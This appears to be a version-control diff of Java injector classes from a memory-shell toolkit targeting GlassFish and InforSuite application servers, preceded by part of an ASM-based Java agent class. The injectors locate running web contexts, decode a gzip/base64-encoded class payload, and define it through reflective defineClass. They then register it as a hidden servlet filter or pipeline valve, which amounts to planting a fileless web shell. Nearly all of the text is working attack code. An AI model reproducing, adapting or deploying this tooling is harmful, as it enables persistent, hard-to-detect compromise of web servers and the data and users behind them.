|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
|
||||||
try {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
|
||||||
private final Type[] argumentTypes;
|
|
||||||
private final String className;
|
|
||||||
|
|
||||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
|
||||||
super(Opcodes.ASM9, mv);
|
|
||||||
this.argumentTypes = argTypes;
|
|
||||||
this.className = className;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitCode() {
|
|
||||||
loadArgArray();
|
|
||||||
Label tryStart = new Label();
|
|
||||||
Label tryEnd = new Label();
|
|
||||||
Label catchHandler = new Label();
|
|
||||||
Label ifConditionFalse = new Label();
|
|
||||||
Label skipCatchBlock = new Label();
|
|
||||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
|
||||||
|
|
||||||
mv.visitLabel(tryStart);
|
|
||||||
String internalClassName = className.replace('.', '/');
|
|
||||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
|
||||||
mv.visitInsn(Opcodes.SWAP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
|
||||||
"java/lang/Object",
|
|
||||||
"equals",
|
|
||||||
"(Ljava/lang/Object;)Z",
|
|
||||||
false);
|
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
|
||||||
mv.visitInsn(Opcodes.RETURN);
|
|
||||||
mv.visitLabel(ifConditionFalse);
|
|
||||||
mv.visitLabel(tryEnd);
|
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
|
||||||
mv.visitLabel(catchHandler);
|
|
||||||
mv.visitInsn(Opcodes.POP);
|
|
||||||
mv.visitLabel(skipCatchBlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void loadArgArray() {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
|
||||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
|
||||||
for (int i = 0; i < argumentTypes.length; i++) {
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
push(i);
|
|
||||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
|
||||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void push(final int value) {
|
|
||||||
if (value >= -1 && value <= 5) {
|
|
||||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
|
||||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
|
||||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
|
||||||
} else {
|
|
||||||
mv.visitLdcInsn(new Integer(value));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private int getArgIndex(final int arg) {
|
|
||||||
int index = 1;
|
|
||||||
for (int i = 0; i < arg; i++) {
|
|
||||||
index += argumentTypes[i].getSize();
|
|
||||||
}
|
|
||||||
return index;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
} finally {
|
|
||||||
try {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
|
||||||
try {
|
|
||||||
loader.loadClass(getClassName());
|
|
||||||
return;
|
|
||||||
} catch (ClassNotFoundException ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+71
-24
@@ -3,25 +3,21 @@ package com.reajason.javaweb.memshell.injector.glassfish;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Date: 2022/11/01
|
* @author pen4uin, ReaJason
|
||||||
* Author: pen4uin
|
|
||||||
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
|
|
||||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
*/
|
||||||
public class GlassFishFilterInjector {
|
public class GlassFishFilterInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
@@ -35,26 +31,56 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public GlassFishFilterInjector() {
|
public GlassFishFilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
// skip glassfish /osgi context
|
try {
|
||||||
if (getFieldValue(context, "serverContext") != null) {
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* com.sun.enterprise.web.WebModule
|
* com.sun.enterprise.web.WebModule
|
||||||
* /xxx/modules/web-glue.jar
|
* /xxx/modules/web-glue.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -79,22 +105,23 @@ public class GlassFishFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void inject(Object context, Object shell) throws Exception {
|
public void inject(Object context, Object shell) throws Exception {
|
||||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("filter already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
@@ -138,7 +165,11 @@ public class GlassFishFilterInjector {
|
|||||||
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
||||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||||
filterConfigs.put(getClassName(), filterConfig);
|
filterConfigs.put(getClassName(), filterConfig);
|
||||||
System.out.println("filter inject success");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -208,6 +239,22 @@ public class GlassFishFilterInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+83
-32
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class GlassFishValveInjector {
|
public class GlassFishValveInjector {
|
||||||
|
|
||||||
public GlassFishValveInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object valve = getShell(context);
|
|
||||||
inject(context, valve);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -33,8 +25,54 @@ public class GlassFishValveInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
public GlassFishValveInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -49,7 +87,7 @@ public class GlassFishValveInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -60,40 +98,38 @@ public class GlassFishValveInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
|
// OSGI 类加载限制,加密相关函数找不到,这儿不得不使用 WebAppClassLoader
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void inject(Object context, Object valve) throws Exception {
|
public void inject(Object context, Object valve) throws Exception {
|
||||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||||
if (isInjected(pipeline)) {
|
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||||
System.out.println("valve already injected");
|
List<Object> valvesList = Arrays.asList(valves);
|
||||||
return;
|
for (Object v : valvesList) {
|
||||||
|
if (v.getClass().getName().contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
System.out.println("valve injected successfully");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@Override
|
||||||
public boolean isInjected(Object pipeline) throws Exception {
|
public String toString() {
|
||||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
return msg;
|
||||||
List<Object> valvesList = Arrays.asList(valves);
|
|
||||||
for (Object valve : valvesList) {
|
|
||||||
if (valve.getClass().getName().contains(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -141,7 +177,7 @@ public class GlassFishValveInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -169,4 +205,19 @@ public class GlassFishValveInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+75
-19
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.inforsuite;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -14,19 +15,9 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class InforSuiteFilterInjector {
|
public class InforSuiteFilterInjector {
|
||||||
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
|
|
||||||
|
|
||||||
public InforSuiteFilterInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object filter = getShell(context);
|
|
||||||
inject(context, filter);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -40,12 +31,57 @@ public class InforSuiteFilterInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public InforSuiteFilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* com.cvicse.loong.enterprise.web.WebModule
|
* com.cvicse.loong.enterprise.web.WebModule
|
||||||
* /usr/local/inforsuite/as/modules/web-glue.jar
|
* /usr/local/inforsuite/as/modules/web-glue.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -71,22 +107,23 @@ public class InforSuiteFilterInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
String filterName = getClassName();
|
String filterName = getClassName();
|
||||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
log.warning("filter already exists");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
@@ -114,7 +151,11 @@ public class InforSuiteFilterInjector {
|
|||||||
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
|
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
|
||||||
}
|
}
|
||||||
filterConfigs.put(filterName, filterConfig);
|
filterConfigs.put(filterName, filterConfig);
|
||||||
log.info("filter added successfully");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -198,4 +239,19 @@ public class InforSuiteFilterInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
